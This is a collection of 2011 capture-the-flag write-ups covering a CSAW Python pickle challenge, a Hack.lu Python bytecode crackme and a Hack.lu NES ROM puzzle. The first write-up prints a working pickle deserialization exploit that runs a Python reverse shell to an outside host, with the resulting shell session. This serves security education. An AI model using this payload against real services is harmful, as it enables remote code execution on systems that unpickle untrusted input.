CSAW 2011 – Reversing – Python 200

Python – 200 Points 

nc csawctf.poly.edu 53080

When we connected to the port it was running a service Haderper:

-----------------------------
| Welcome to Haderper!      |
| Please enter your command |
-----------------------------
> help

Haderper v0.1-alpha

Command help:

help        - this screen
exec        - execute a command
derp        - derp a string
underp      - underp a string
logout/exit - disconnect

> derp hi
UydoaScKcDAKLg==
> underp UydoaScKcDAKLg==
hi
>

If we decode the base64 string we can see that it looks like a Pickle dump file:

$ echo UydoaScKcDAKLg== | base64 -d
S'hi'
p0

After several failed attempts to get a reverse shell or read command output (nc, ls >/dev/tcp, etc) and knowing that the daemon is running on python, we use a reverse shell written in python from reverse shell cheatsheet.

# credits for this code goes to Jeff Epler
import pickle, new, base64

def nasty(module, function, *args):
    return pickle.dumps(new.classobj(function, (), {'__getinitargs__': lambda self, arg = args: arg, '__module__': module}) ())


print "underp "+base64.b64encode(nasty("os", "system", "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"1.1.1.7\",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")) 

$ python xpl.py | nc csawctf.poly.edu 53080

And our listening nc gets the remote shell:

$ nc -lp 8080
$ id
uid=1001(quine) gid=1001(quine) groups=1001(quine)
$ cd
$ ls
haderp.py
haderp.pyc
key.txt
$ cat key.txt
key{38d7721de7853c8e385e0ee177e3d15e7a21381bd461a20f631fd1f3048d22db}

Key:38d7721de7853c8e385e0ee177e3d15e7a21381bd461a20f631fd1f3048d22db

You can see the code for the daemon here.

Hack.lu 2011 CTF – Python Crackme Solution

Python Crackme

This challenge’s hero, needs your help. Sadly, our Commander Sheen has lost his Pogo Stick. Without his Pogo Stick, Commander Sheen is not WINNING. Can you help him? Solve the puzzle and find out what space-tool could support him. download

After downloading the mentioned file, we can see it is a pyc file which can be run with python2.7, using the script provided here to review the structure of pyc files  (if you are using 64 bits python make sure to change struct.unpack(‘L’, moddate)[0]) to struct.unpack(‘<L’, moddate)[0]) to get it working.) we could see some stuff like how many arguments it required to run:

24 LOAD_NAME                2 (len)
27 LOAD_NAME                0 (sys)
30 LOAD_ATTR                3 (argv)
33 CALL_FUNCTION            1
36 LOAD_CONST              28 (10)
39 COMPARE_OP               2 (==)
42 POP_JUMP_IF_TRUE        51
45 LOAD_GLOBAL              4 (AssertionError)
48 RAISE_VARARGS            1

Here len(sys.argv) == 10 should be true otherwise an assertion occurs

 
51 BUILD_LIST               0
54 LOAD_NAME                0 (sys)
57 LOAD_ATTR                3 (argv)
60 LOAD_CONST               3 (1)
63 SLICE+1
64 GET_ITER
65 FOR_ITER                18 (to 86)
68 STORE_NAME               5 (x)
71 LOAD_NAME                6 (int)
74 LOAD_NAME                5 (x)
77 CALL_FUNCTION            1
80 LIST_APPEND              2
83 JUMP_ABSOLUTE           65
86 UNPACK_SEQUENCE          9
89 STORE_NAME               7 (a)
92 STORE_NAME               8 (b)
95 STORE_NAME               9 (c)
98 STORE_NAME              10 (d)
101 STORE_NAME              11 (e)
104 STORE_NAME              12 (f)
107 STORE_NAME              13 (g)
110 STORE_NAME              14 (h)
113 STORE_NAME              15 (i)

All the arguments (from 1 onwards) are stored on a, b, c, d, e, f , g, h, i.

116 LOAD_NAME                8 (b)
119 LOAD_NAME                9 (c)
122 COMPARE_OP               2 (==)
125 POP_JUMP_IF_TRUE       134
128 LOAD_GLOBAL              4 (AssertionError)
131 RAISE_VARARGS            1

Some additional conditions appeared, b == c, c == g, g == h, g + b + c == 0.


254 LOAD_CONST               7 (3)
257 LOAD_NAME                7 (a)
260 BINARY_MULTIPLY
261 LOAD_CONST               8 (12)
264 LOAD_NAME               10 (d)
267 BINARY_MULTIPLY
268 BINARY_ADD
269 LOAD_NAME               11 (e)
272 BINARY_ADD
273 LOAD_CONST               9 (4)
276 LOAD_NAME               12 (f)
279 BINARY_MULTIPLY
280 BINARY_ADD
281 LOAD_CONST              10 (6)
284 LOAD_NAME               15 (i)
287 BINARY_MULTIPLY
288 BINARY_ADD
289 LOAD_CONST              11 (2194)
292 COMPARE_OP               2 (==)
295 POP_JUMP_IF_TRUE       304
298 LOAD_GLOBAL              4 (AssertionError)
301 RAISE_VARARGS            1

Here we get the next equation:

3*a + 12*d + e + 4*f + 6*i == 2194.

There are 4 additional equations:

-6 * a + 2 * d - 4 * e - f + 9 * i == -243
a + 6 * d + 2 * e + 7 * f + 11 * i == 2307
5 * a - 2 * d - 7 * e + 76 * f + 8 * i == 8238
2 * a - 2 * d - 2 * e - 2 * f + 2 * i == -72

After solving the equations we get:

a = 124,d = 71,e = 72,f = 100,i = 83

The additional values must be zero:

a = 124, b = 0, c = 0,  d = 71, e = 72, f = 100, g = 0 , h = 0, i = 83

$ python2 crackme.pyc 124 0 0 71 72 100 0 0 83
sp4ceb4llz of st33l

Flag: sp4ceb4llz of st33l

Hack.lu 2011 CTF – Scotty’s last signal Solution

Challenge summary:

Scotty’s last signal

You might have heard about Montgomery Scott, the legendary chief engineer of the U.S.S. Enterprise. What you probably did not know is his passion for Video Games – especially really old classics. We recently lost contact with his transport shuttle and we think you should examine this old game file we recently recieved because he might have just put a message into there. This would make sense if he could not send a fully blown Space-Unicode message signal to avoid attracting any Borg ships in the sector… (Borg usually are very bad at video games) His passion for Beaming and Warping might be of interest for your analysis. https://ctf.hack.lu/files/mario

First we downloaded the attached file and checked to see what kind of file it is.

$  file mario
mario: iNES ROM dump, 2x16k PRG, 1x8k CHR, [Vert.]
$ mv mario mario.nes

iNES Rom is a format developed by Marat Fayzullin to store Nintendo / Famicon games, and it’s also de name of its emulator.

After spending some time playing the game,  looking at the dissasembled game using FCEUX debugger and reading about NES ASM, I noted this wasn’t probably the easy way to solve it :P. But by playing it we could see that some messages on the game were changed, FLUX instead of MARIO, SADFACE instead of GAME OVER.

A couple of Google searching led me to this tool to change strings of SMB rom, SMB NES Rom Text Editor luckily is written in C # and can be run on Linux too with Mono.

Flag:  IMSTILLALIVEHELPME